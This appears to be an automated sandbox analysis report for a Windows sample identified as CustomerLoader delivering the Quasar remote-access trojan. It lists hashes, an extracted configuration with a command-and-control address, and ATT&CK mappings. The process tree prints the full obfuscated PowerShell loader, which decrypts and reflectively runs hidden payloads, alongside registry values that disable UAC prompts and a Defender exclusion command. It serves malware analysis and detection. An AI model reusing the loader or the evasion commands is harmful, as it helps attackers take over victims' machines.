customerloader | 6cfbe89075f73be4a44bff159ac7b82f3b81f5c4795cc39c9255f9d046cdcd65

Analysis

max time kernel
149s
max time network
152s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
02/06/2026, 03:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
x6cfbe89075f73be4a44bff159ac7b82f3b81f5c4795cc39c9255f9d046cdcd65.exe
Size 5.2MB
Sample260602-d1tndscz3v
SHA256 6cfbe89075f73be4a44bff159ac7b82f3b81f5c4795cc39c9255f9d046cdcd65
MD5 cf15e4ffc2d00c352348fe1c2a5f156b
SHA1 310cc6053e52025c6adac9918df824999813e23a
SHA512 235aeccb57fb63fc7096540cdf8d4c8cdca796cc50795aff3707b96a5448e3bb73f5935fe2833a84b6d20198d2a20b6d695ffc43ea4c8e4cd074beba61a589d7
SSDEEP 24576:iQ6etvRsqbQGTw/T2pii7JiqqdpSRRef6APcgMNIije00jrfsVWXe/Srs316wN+D:ix
TLSH
T198461692E32E9C4794193F730C600C095E285FAB7475CF985B5AFAB4E8C92CD19BCE64
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

vps-86 defense_evasion downloader execution customerloader quasar loader spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.6.6

Botnet

vps-86

163.61.39.209:5669

Mutex

4fd296c3-6a44-46fd-aeb0-b9b9530e8f29

Attributes

encryption_key
63C89A087404DF5C2E4073DE97AD98A6817E3B5E
install_name
.exe
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
reconnect_delay
3000

Signatures

Family: Customer Loader
Customer Loader is a downloader written in C#.
downloader loader customerloader
Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/4544-40-0x00000292F5990000-0x00000292F5C2C000-memory.dmp	family_quasar

UAC bypass 3 TTPs 2 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	powershell.exe

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	4544	powershell.exe
4	4544	powershell.exe
5	4544	powershell.exe
6	4544	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5016	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4544	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4544	powershell.exe
4544	powershell.exe
5016	powershell.exe
5016	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeDebugPrivilege	5016	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3384 wrote to memory of 4100	3384	x6cfbe89075f73be4a44bff159ac7b82f3b81f5c4795cc39c9255f9d046cdcd65.exe	80
PID 4100 wrote to memory of 2148	4100	cmd.exe	82
PID 2148 wrote to memory of 1108	2148	net.exe	83
PID 4100 wrote to memory of 4544	4100	cmd.exe	84
PID 4544 wrote to memory of 5016	4544	powershell.exe	85

C:\Users\Admin\AppData\Local\Temp\x6cfbe89075f73be4a44bff159ac7b82f3b81f5c4795cc39c9255f9d046cdcd65.exe
"C:\Users\Admin\AppData\Local\Temp\x6cfbe89075f73be4a44bff159ac7b82f3b81f5c4795cc39c9255f9d046cdcd65.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ZSfZSHiOIlGP.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4100
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2148
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Wi Hi -Ex Bypass -c "$iqMGLw = 'Sys' + 'tem';;$zOeRmF = $iqMGLw + '.Se' + 'cur' + 'ity.Cry' + 'pt' + 'ogr' + 'aphy';;$EWMKHG = $iqMGLw + '.I' + 'O';;$SWLzev = $iqMGLw + '.Re' + 'fle' + 'cti' + 'on';;$fhkbx = 'Fr' + 'omB' + 'ase' + '64S' + 'tri' + 'ng';;$Jgcee = 'Cr' + 'eat' + 'eDe' + 'cry' + 'ptor';;$DcLcC = 'Tr' + 'ans' + 'for' + 'mFi' + 'nal' + 'Blo' + 'ck';;function RmeKHlAP($SAqduD) {; $aqaUJK=New-Object ($zOeRmF + '.Ae' + 'sMa' + 'nag' + 'ed');; $aqaUJK.Mode=[int]1;; $aqaUJK.Padding=[int]2;; $aqaUJK.Key=[Convert]::$fhkbx('D26DnrCGR+mis3MfCICkrQz0akjDV52Y+41EVLgTHks=');; $aqaUJK.IV=[Convert]::$fhkbx('wCC6IJbL+cGf4rETG6vRjA==');; $XHpwL=$aqaUJK.$Jgcee();; $ZDWTe=$XHpwL.$DcLcC($SAqduD, 0, $SAqduD.Length);; $XHpwL.Dispose();; $aqaUJK.Dispose();; $ZDWTe;;};function qOZCLqjA($SAqduD) {; $DHrwnp=New-Object ($EWMKHG + '.Me' + 'mo' + 'ryS' + 'tre' + 'am')(,$SAqduD);; $RgOXrO=New-Object ($EWMKHG + '.Me' + 'mo' + 'ryS' + 'tre' + 'am');; $zHUEty=$EWMKHG + '.Co' + 'mpr' + 'ess' + 'ion';; $sgoliU=[type]($zHUEty + '.Com' + 'pre' + 'ssion' + 'Mo' + 'de');; $PfLLhN=[Enum]::ToObject($sgoliU, 0);; $aiAVq=New-Object ($zHUEty + '.GZ' + 'ipS' + 'tre' + 'am')($DHrwnp, $PfLLhN);; $aiAVq.CopyTo($RgOXrO);; $aiAVq.Dispose();; $DHrwnp.Dispose();; $RgOXrO.Dispose();; $RgOXrO.ToArray();;};function nhlCHlCx($SAqduD,$tvxCGk) {; $VBwqi='En' + 'try' + 'Po' + 'int';; $sKfsI='Lo' + 'ad';; $mjjZU='In' + 'vo' + 'ke';; $CRQta=[type]($SWLzev + '.As' + 'se' + 'mb' + 'ly');; $XuflCc=$CRQta::$sKfsI([byte[]]$SAqduD);; $FEQvVZ=$XuflCc.$VBwqi;; $FEQvVZ.$mjjZU($null, $tvxCGk);;};function zgLsfWnT($BUMsI) {; $BfiZNS = New-Object byte[] ($BUMsI.Length / 2);; for ($zOpqJ = 0; $zOpqJ -lt $BUMsI.Length; $zOpqJ += 2) {; $BfiZNS[$zOpqJ / 2] = [Convert]::ToByte($BUMsI.Substring($zOpqJ, 2), 16);; }; $BfiZNS;;};$dxxwE = 'GnuCTd';;$MuPYT = 'rem ' + $dxxwE;;$RYkITq = $env:Owmvtkvk;;$aMuUI=[type]($EWMKHG + '.Fi' + 'le');;$lXzPA='Re'+'adA'+'llL'+'ine'+'s';;$xScPvOo=$aMuUI::$lXzPA($RYkITq);;$TLzGZFl = '';;$PfEiLyp = '';;$qAzEWr = $MuPYT.Length;;foreach ($ITVyE in $xScPvOo) {; if ($ITVyE.Length -gt ($qAzEWr + 1)) {; if ($ITVyE.Substring(0, $qAzEWr) -eq $MuPYT) {; $ojmLny = $ITVyE.Substring($qAzEWr);; if ($ojmLny[0] -eq 'b') { $TLzGZFl += $ojmLny.Substring(1) }; if ($ojmLny[0] -eq 's') { $PfEiLyp += $ojmLny.Substring(1) }; }; };};$lQWMTP=qOZCLqjA (RmeKHlAP (zgLsfWnT $TLzGZFl));;$IVwxdc=qOZCLqjA (RmeKHlAP (zgLsfWnT $PfEiLyp));;nhlCHlCx $lQWMTP $null;;nhlCHlCx $IVwxdc (,[string[]] @());"
    3⤵
    - UAC bypass
    - Badlisted process makes network request
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4544
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoP -Wi Hi -Ex Bypass -c "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming','C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5016

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ZSfZSHiOIlGP.bat

Path C:\Users\Admin\AppData\Local\Temp\ZSfZSHiOIlGP.bat
Size 5.1MB
SHA256 ac4cfa9b5a05955d6acfe7a2f4d35779eafc519e5febb7e3e13fb3feac8cc9c4
MD5 2f4174933ec3d4defb346b4f6f1c767b
SHA1 3ae8214ca6640e4be5bac68b9793c559533e2a26
SHA512 644849ac8c04c1e53103f00097824b1b9fbd1a777f7aef1e0e197126df2e6d1db668451270e19693d1c246c8189c4cce4020aafe8a617f5e8647da69197170a7
SSDEEP 24576:86+xa0Ca/dTggUAVCTTtE65GhXy51JokqyRkvo3cJzv3c2Sp2Re7YywXBXyeFH4A:g
TLSH
T1A0469EB86A0CAF951E6BC6DEC95258D90395162EC6B794CBC36BFEC30563726FD31800
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_dikzyt1x.5v3.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dikzyt1x.5v3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4544-53-0x00000292F64D0000-0x00000292F64E2000-memory.dmp

Download

memory/4544-55-0x00000292F62F0000-0x00000292F62FA000-memory.dmp

Download

memory/4544-4-0x00000292EA6A0000-0x00000292EA6B0000-memory.dmp

Download

memory/4544-13-0x00000292EA6A0000-0x00000292EA6B0000-memory.dmp

Download

memory/4544-14-0x00000292D1F40000-0x00000292D1F48000-memory.dmp

Download

memory/4544-15-0x00000292F5740000-0x00000292F598A000-memory.dmp

Download

memory/4544-5-0x00000292EA6A0000-0x00000292EA6B0000-memory.dmp

Download

memory/4544-51-0x00000292F6450000-0x00000292F649A000-memory.dmp

Download

memory/4544-52-0x00000292F64A0000-0x00000292F64CA000-memory.dmp

Download

memory/4544-54-0x00000292F6530000-0x00000292F656C000-memory.dmp

Download

memory/4544-12-0x00000292ED3A0000-0x00000292ED3C2000-memory.dmp

Download

memory/4544-46-0x00000292F6240000-0x00000292F628A000-memory.dmp

Download

memory/4544-56-0x00000292F6510000-0x00000292F6518000-memory.dmp

Download

memory/4544-50-0x00000292F6400000-0x00000292F644C000-memory.dmp

Download

memory/4544-49-0x00000292F63C0000-0x00000292F63F4000-memory.dmp

Download

memory/4544-40-0x00000292F5990000-0x00000292F5C2C000-memory.dmp

Download

memory/4544-41-0x00000292D1F60000-0x00000292D1F7E000-memory.dmp

Download

memory/4544-42-0x00000292F61F0000-0x00000292F6240000-memory.dmp

Download

memory/4544-43-0x00000292F6300000-0x00000292F63B2000-memory.dmp

Download

memory/4544-44-0x00000292F6590000-0x00000292F6752000-memory.dmp

Download

memory/4544-45-0x00000292F61A0000-0x00000292F61DA000-memory.dmp

Download

memory/4544-47-0x00000292F6290000-0x00000292F62DE000-memory.dmp

Download

memory/4544-48-0x00000292F5C70000-0x00000292F5C96000-memory.dmp

Download

memory/5016-28-0x000002DC31170000-0x000002DC3118C000-memory.dmp

Download

memory/5016-36-0x000002DC312A0000-0x000002DC312AA000-memory.dmp

Download

memory/5016-35-0x000002DC31290000-0x000002DC31296000-memory.dmp

Download

memory/5016-34-0x000002DC31260000-0x000002DC31268000-memory.dmp

Download

memory/5016-33-0x000002DC312B0000-0x000002DC312CA000-memory.dmp

Download

memory/5016-32-0x000002DC31250000-0x000002DC3125A000-memory.dmp

Download

memory/5016-31-0x000002DC31270000-0x000002DC3128C000-memory.dmp

Download

memory/5016-30-0x000002DC31160000-0x000002DC3116A000-memory.dmp

Download

memory/5016-29-0x000002DC31190000-0x000002DC31243000-memory.dmp

Download